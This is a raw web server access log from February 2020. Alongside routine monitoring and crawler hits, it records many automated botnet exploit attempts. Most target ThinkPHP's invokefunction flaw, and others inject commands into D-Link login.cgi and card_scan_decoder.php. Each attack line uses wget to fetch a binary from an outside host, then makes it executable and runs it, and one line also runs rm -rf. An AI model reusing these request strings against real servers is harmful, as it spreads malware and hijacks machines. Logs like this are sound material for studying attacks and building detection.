27.216.245.215 - - [09/Feb/2020:14:16:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
118.68.10.22 - - [09/Feb/2020:14:17:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.239.19.112 - - [09/Feb/2020:14:17:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.35.161.116 - - [09/Feb/2020:14:18:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.174.253.170 - - [09/Feb/2020:14:19:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:14:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.166.94 - - [09/Feb/2020:14:22:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [09/Feb/2020:14:23:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [09/Feb/2020:14:24:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [09/Feb/2020:14:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.201.179.77 - - [09/Feb/2020:14:25:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.29.102.206 - - [09/Feb/2020:14:25:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:27:07 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
208.114.149.10 - - [09/Feb/2020:14:28:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.235.93.149 - - [09/Feb/2020:14:30:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [09/Feb/2020:14:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:30:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:31:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.229.94.38 - - [09/Feb/2020:14:31:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:33:35 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.229.94.38 - - [09/Feb/2020:14:33:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
93.229.94.38 - - [09/Feb/2020:14:34:16 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:34:53 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
118.71.142.221 - - [09/Feb/2020:14:34:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:36:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
93.229.94.38 - - [09/Feb/2020:14:36:37 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.216.245.215 - - [09/Feb/2020:14:38:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [09/Feb/2020:14:38:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:39:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.214.98.90 - - [09/Feb/2020:14:39:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.130 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:14:40:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:41:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.137 - - [09/Feb/2020:14:41:46 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
54.36.148.27 - - [09/Feb/2020:14:41:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
189.146.121.201 - - [09/Feb/2020:14:42:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.72.30.57 - - [09/Feb/2020:14:42:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:43:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:44:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.78.26.21 - - [09/Feb/2020:14:46:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:46:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:47:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:48:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:49:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:50:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:51:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:52:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:53:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:54:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.56.5.186 - - [09/Feb/2020:14:54:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.37.169.81 - - [09/Feb/2020:14:54:48 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [09/Feb/2020:14:55:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:56:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.189.199 - - [09/Feb/2020:14:56:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:14:57:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.106.181 - - [09/Feb/2020:14:57:30 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [09/Feb/2020:14:58:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:14:59:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:00:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:01:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.130.149.65 - - [09/Feb/2020:15:02:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.129.227.5 - - [09/Feb/2020:15:02:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:03:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:04:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:05:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:07:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.133.29.214 - - [09/Feb/2020:15:08:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:08:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:09:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:10:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:11:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:12:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.103.236 - - [09/Feb/2020:15:13:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:13:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:14:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.110.208.2 - - [09/Feb/2020:15:14:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [09/Feb/2020:15:15:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:16:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:17:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:18:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:19:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:20:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.217.86 - - [09/Feb/2020:15:21:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:21:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:22:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:23:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.220.68.4 - - [09/Feb/2020:15:23:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:24:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:25:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:26:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
206.132.225.98 - - [09/Feb/2020:15:27:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [09/Feb/2020:15:27:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:28:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
223.97.182.178 - - [09/Feb/2020:15:28:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
87.230.17.72 - - [09/Feb/2020:15:29:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "ImplisenseBot 1.0"
212.91.246.72 - - [09/Feb/2020:15:29:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:30:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.219.164 - - [09/Feb/2020:15:30:32 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://2.56.8.156/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [09/Feb/2020:15:31:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:32:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.112.35.46 - - [09/Feb/2020:15:32:32 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [09/Feb/2020:15:33:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.42.123.162 - - [09/Feb/2020:15:33:53 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
193.198.66.62 - - [09/Feb/2020:15:33:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [09/Feb/2020:15:34:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.130.199 - - [09/Feb/2020:15:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.199 - - [09/Feb/2020:15:34:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
179.98.14.248 - - [09/Feb/2020:15:34:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.130.199 - - [09/Feb/2020:15:35:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [09/Feb/2020:15:35:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [09/Feb/2020:15:36:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.214.220.43 - - [09/Feb/2020:15:36:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
162.243.130.199 - - [09/Feb/2020:15:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.130.199 - - [09/Feb/2020:15:37:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [09/Feb/2020:15:37:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.26.6.5 - - [09/Feb/2020:15:37:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.166.230.205 - - [09/Feb/2020:15:37:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
112.72.77.144 - - [09/Feb/2020:15:38:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
